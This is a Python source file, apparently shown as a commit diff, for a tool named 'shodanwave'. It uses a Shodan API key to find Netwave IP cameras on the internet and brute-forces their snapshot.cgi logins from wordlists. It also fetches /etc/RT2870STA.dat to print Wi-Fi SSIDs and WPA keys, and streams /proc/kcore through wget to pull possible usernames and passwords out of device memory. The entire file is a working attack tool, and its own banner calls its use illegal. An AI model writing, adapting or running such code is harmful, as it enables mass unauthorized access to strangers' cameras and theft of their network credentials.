1
+ #!/usr/bin/python2.7
2
+
3
+
4
+ import argparse
5
+ import sys ,os ,time
6
+ import subprocess
7
+ import signal
8
+ from threading import Thread
9
+ import random
10
+
11
+ try :
12
+
13
+ import shodan
14
+ import requests
15
+ from pyfiglet import Figlet
16
+ import tailer
17
+
18
+ except ImportError as e :
19
+ print ("Error: %s" % (e ))
20
+ print ("Try this ... pip install -r /path/to/requirements.txt" )
21
+
22
+
23
+ class bgcolors :
24
+ HEADER = '\033 [95m'
25
+ OKBLUE = '\033 [94m'
26
+ OKGREEN = '\033 [92m'
27
+ WARNING = '\033 [93m'
28
+ FAIL = '\033 [91m'
29
+ ENDC = '\033 [0m'
30
+ BOLD = '\033 [1m'
31
+ UNDERLINE = '\033 [4m'
32
+
33
+
34
+ def main () :
35
+
36
+ Graph = Figlet (font = 'slant' )
37
+ GraphRender = Graph .renderText ('shodanwave' )
38
+
39
+ print ("%s" % (bgcolors .WARNING + GraphRender + bgcolors .ENDC ))
40
+ print (bgcolors .FAIL + "\r This tool is successfully connected to shodan service\n Information the use of this tool is illegal, not bad.\n " + bgcolors .ENDC )
41
+
42
+ parser = argparse .ArgumentParser ()
43
+ parser .add_argument ('-s' ,'--search' , dest = 'search' , default = 'Netwave IP Camera' , type = str , help = 'Default Netwave IP Camera' )
44
+ parser .add_argument ('-u' ,'--username' , dest = "username" , default = "" , type = file , help = 'Select your usernames wordlist' )
45
+ parser .add_argument ('-p' ,'--wordlist' , dest = "password" , default = "" , type = file , help = 'Select your passwords wordlist' )
46
+ parser .add_argument ('-k' ,'--shodan' , dest = "address" , default = '' , type = str , help = 'Shodan API key' )
47
+ args = parser .parse_args ()
48
+
49
+
50
+ try :
51
+
52
+ if sys .argv [2 ] == "-h" or sys .argv [3 ] == "--help" :
53
+ print "Usage: python shodanwave.py --help"
54
+ sys .exit (0 )
55
+ else :
56
+ pass
57
+ except Exception as e :
58
+ print ("%s" % (bgcolors .WARNING + GraphRender + bgcolors .ENDC ))
59
+ print "Usage: python shodanwave.py --help"
60
+ sys .exit (0 )
61
+
62
+ def signal_handler (signal , frame ):
63
+ print ('\n clearing up..' )
64
+ os .system ("rm -rf tmpstream.txt" )
65
+ os .system ("rm -rf tmpstrings.out" )
66
+ os .system ("killall -9 wget" )
67
+ os .system ("killall -9 tail" )
68
+ sys .exit (0 )
69
+
70
+
71
+ signal .signal (signal .SIGINT , signal_handler )
72
+
73
+ def NetworkSearchosts ():
74
+
75
+ exploit = True
76
+ found = False
77
+ macaddr = ""
78
+
79
+ try :
80
+
81
+ shodanapi = shodan .Shodan (args .address )
82
+ api = shodanapi .search (args .search )
83
+ total = api .get ('total' )
84
+
85
+ usernames = args .username .readlines ()
86
+ passwords = args .password .readlines ()
87
+
88
+ print (bgcolors .OKGREEN + "[+] Shodan successfully Connected." + bgcolors .ENDC )
89
+ print (bgcolors .OKGREEN + "[+] Shodan Exploit Enabled." + bgcolors .ENDC )
90
+ print (bgcolors .OKGREEN + "[+] Netwave IP Camera Found: %d" % (total ) + bgcolors .ENDC )
91
+ print (bgcolors .OKGREEN + "[+] Passwords loaded: %d" % (len (passwords )) + bgcolors .ENDC )
92
+
93
+ ShodanModuleExploit = raw_input (bgcolors .WARNING + "[!] Disable password discovery module? (S/n): " + bgcolors .ENDC )
94
+
95
+ if ShodanModuleExploit .upper () == "S" :
96
+ print (bgcolors .FAIL + "[-] Netwave exploit disabled." + bgcolors .ENDC )
97
+ exploit = False
98
+
99
+ while True :
100
+
101
+ for hosts in api ['matches' ] :
102
+
103
+ host = hosts .get ('ip_str' )
104
+ port = hosts .get ('port' )
105
+ country = hosts .get ('country' , 'n/a' )
106
+ org = hosts .get ('org' , 'n/a' )
107
+ hostnames = hosts .get ('hostnames' , 'n/a' )
108
+ product = hosts .get ('product' , 'n/a' )
109
+
110
+
111
+ try :
112
+
113
+ path = "snapshot.cgi"
114
+ url = "http://%s:%s/%s" % (host , port , path )
115
+
116
+ print ("[+] Launching brute force on host http://%s:%s" % (host , port ))
117
+ for administrator in usernames :
118
+ administrator = administrator .strip ()
119
+ for password in passwords :
120
+ password = password .strip ()
121
+
122
+ agents = ["Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.1453.94 Safari/537.36" ]
123
+ payload = {"user" : administrator , "pwd" : password }
124
+
125
+
126
+
127
+ headers = {'User-Agent' : agents [0 ] }
128
+
129
+ request = requests .get (url , params = payload , headers = headers )
130
+ status = request .status_code
131
+
132
+ if status == 200 :
133
+ print (bgcolors .FAIL + bgcolors .BOLD + "[+] Password Found %s@%s" % (administrator , password ) + bgcolors .ENDC )
134
+ exploit = False
135
+ found = True
136
+ break
137
+ else :
138
+ found = False
139
+ if not (found ):
140
+ print (bgcolors .FAIL + bgcolors .BOLD + "[!] Password not found" + bgcolors .ENDC )
141
+ pass
142
+ except Exception as e :
143
+ request .close ()
144
+ print ("Error: %s" % (e ))
145
+
146
+ print (bgcolors .WARNING + "[!] Getting System Information" + bgcolors .ENDC )
147
+ print (bgcolors .WARNING + "[!] Getting Wireless System Information" + bgcolors .ENDC )
148
+
149
+ try :
150
+
151
+ wireless = "http://%s:%s/get_status.cgi" % (host , port )
152
+ agents = ["Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36" ]
153
+ headers = {'User-Agent' : agents [0 ], 'Connection' :'close' }
154
+
155
+ response = requests .get (wireless , headers = headers )
156
+ status = response .status_code
157
+ content = response .text .split (';\n ' )
158
+
159
+
160
+
161
+ if status == 200 :
162
+ for macaddress in content :
163
+ if macaddress .startswith ("var id=" ):
164
+ macaddress = macaddress .split ("'" )
165
+ macaddr = macaddress [1 ]
166
+
167
+ print (bgcolors .WARNING + "[+] Mac address found %s" % (macaddr ) + bgcolors .ENDC )
168
+
169
+ else :
170
+ print (bgcolors .FAIL + "[-] Getting mac address" + bgcolors .ENDC )
171
+ except Exception as e :
172
+ request .connection .close ()
173
+ print ("Error : %s" % (e ))
174
+ print ("""[+] Host: http://%s:%s\n [+] Country: %s\n [+] Organization: %s\n [+] Product: %s""" % (host , port , country , org , product ))
175
+
176
+ try :
177
+
178
+ url = "http://%s:%s//etc/RT2870STA.dat" % (host , port )
179
+
180
+ agents = ["Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36" ]
181
+ headers = {'User-Agent' : agents [0 ], 'Connection' :'close' }
182
+
183
+ response = requests .get (url , headers = headers )
184
+ content = response .text .split ("\n " )
185
+
186
+ status = response .status_code
187
+
188
+ if status == 200 :
189
+ for crendential in content :
190
+ if crendential .find ("WPAPSK" ) != - 1 or crendential .find ("SSID" ) != - 1 :
191
+ crendential = crendential .replace ("=" , " " )
192
+ print (bgcolors .OKGREEN + bgcolors .BOLD + "[+] %s" % crendential + bgcolors .ENDC )
193
+ else :
194
+ print (bgcolors .FAIL + bgcolors .BOLD + "[!] Wireless lan is disabled.." + bgcolors .ENDC )
195
+ except Exception as e :
196
+ request .connection .close ()
197
+ print (bgcolors .FAIL + "[!] Error: %s \n Wireless lan is disabled.." % (e ) + bgcolors .ENDC )
198
+
199
+ try :
200
+
201
+ url = "http://%s:%s//proc/kcore" % (host , port )
202
+ done = 0
203
+ linecount = 0
204
+
205
+ if exploit :
206
+
207
+ print (bgcolors .FAIL + "[+] Starting to read memory dump.. this could take a few minutes" + bgcolors .ENDC )
208
+ proc = subprocess .Popen ("wget -qO- " + url + " >> tmpstream.txt" , shell = True , preexec_fn = os .setsid )
209
+ os .system ('echo "" > tmpstrings.out' )
210
+ time .sleep (1 )
211
+ proc2 = subprocess .Popen ("tail -f tmpstream.txt | strings >>tmpstrings.out" , shell = True , preexec_fn = os .setsid )
212
+ print (bgcolors .BOLD + "[+] CTRL+C to exit.." + bgcolors .ENDC )
213
+
214
+ while 1 :
215
+ sys .stdout .flush ()
216
+ if os .stat ('tmpstrings.out' ).st_size <= 1024 :
217
+ sys .stdout .write (bgcolors .OKGREEN + "binary data: " + str (os .stat ('tmpstream.txt' ).st_size )+ "\r " + bgcolors .ENDC )
218
+ else :
219
+ sys .stdout .flush ()
220
+ print "[+] Strings in binary data found.. password should be around line 10000"
221
+ for line in tailer .follow (open ('tmpstrings.out' ,'r' )):
222
+ if done == 0 :
223
+ linecount += 1
224
+ if line == macaddr :
225
+ sys .stdout .flush ()
226
+ done = 1
227
+ print (bgcolors .OKGREEN + "[+] Mac address triggered.. printing the following dumps, could leak username and passwords.." + bgcolors .ENDC )
228
+ else :
229
+ sys .stdout .write (str (linecount )+ "\r " )
230
+ elif done == 1 :
231
+ done = 2
232
+ print "[+] Firstline.. " + bgcolors .OKGREEN + line + bgcolors .ENDC
233
+ elif done == 2 :
234
+ done = 3
235
+ print "[+] Possible username: " + bgcolors .OKGREEN + line + bgcolors .ENDC
236
+ elif done == 3 :
237
+ done = 4
238
+ print "[+] Possible password: " + bgcolors .OKGREEN + line + bgcolors .ENDC
239
+ elif done == 4 :
240
+ done = 0
241
+ print "[+] Following line.. \n \n " + bgcolors .OKGREEN + line + bgcolors .ENDC
242
+ else :
243
+ pass
244
+ signal .pause ()
245
+ except :
246
+ print (bgcolors .FAIL + "[-] Victim isnt vulnerable for a memory leak, exiting.." + bgcolors .ENDC )
247
+ return True
248
+ except shodan .APIError as e :
249
+ print (bgcolors .FAIL + "[-] Error: %s" % (e ) + bgcolors .ENDC )
250
+
251
+ NetworkSearchosts ()
252
+
253
+ if __name__ == "__main__" :
254
+ main ()
0 commit comments